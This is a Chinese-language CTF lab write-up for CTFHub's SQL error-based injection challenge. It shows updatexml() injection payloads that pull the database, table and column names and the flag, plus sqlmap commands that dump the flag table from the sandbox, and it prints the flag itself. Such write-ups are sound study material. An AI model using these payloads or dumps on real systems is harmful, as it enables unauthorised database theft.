CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
6+h15 小时前
【Redis】高可用核心讲解
数据库·redis·缓存
2501_9269783315 小时前
物理学原理和人工智能领域的底层一致性
人工智能·经验分享·笔记·ai写作
努力的lpp15 小时前
2024小迪安全课程第三节复习笔记
笔记·安全
冥王丁B15 小时前
第31章 Prompt 与聊天模型笔记
笔记·python·prompt
海棠蚀omo15 小时前
从零敲开 MySQL 的大门:库与表的基础操作实战(保姆级入门指南)
数据库·mysql
鸽芷咕15 小时前
告别迁移焦虑:KingbaseES如何搞定Oracle复杂的层次查询与伪列?
数据库·oracle
当代红领巾15 小时前
Oracle 中的物理备份
数据库·oracle
左左右右左右摇晃15 小时前
Java笔记——包装类(自动拆装箱)
java·笔记·python
Java水解15 小时前
SQL 核心概念:JOIN 和 UNION 到底有什么区别?
后端·sql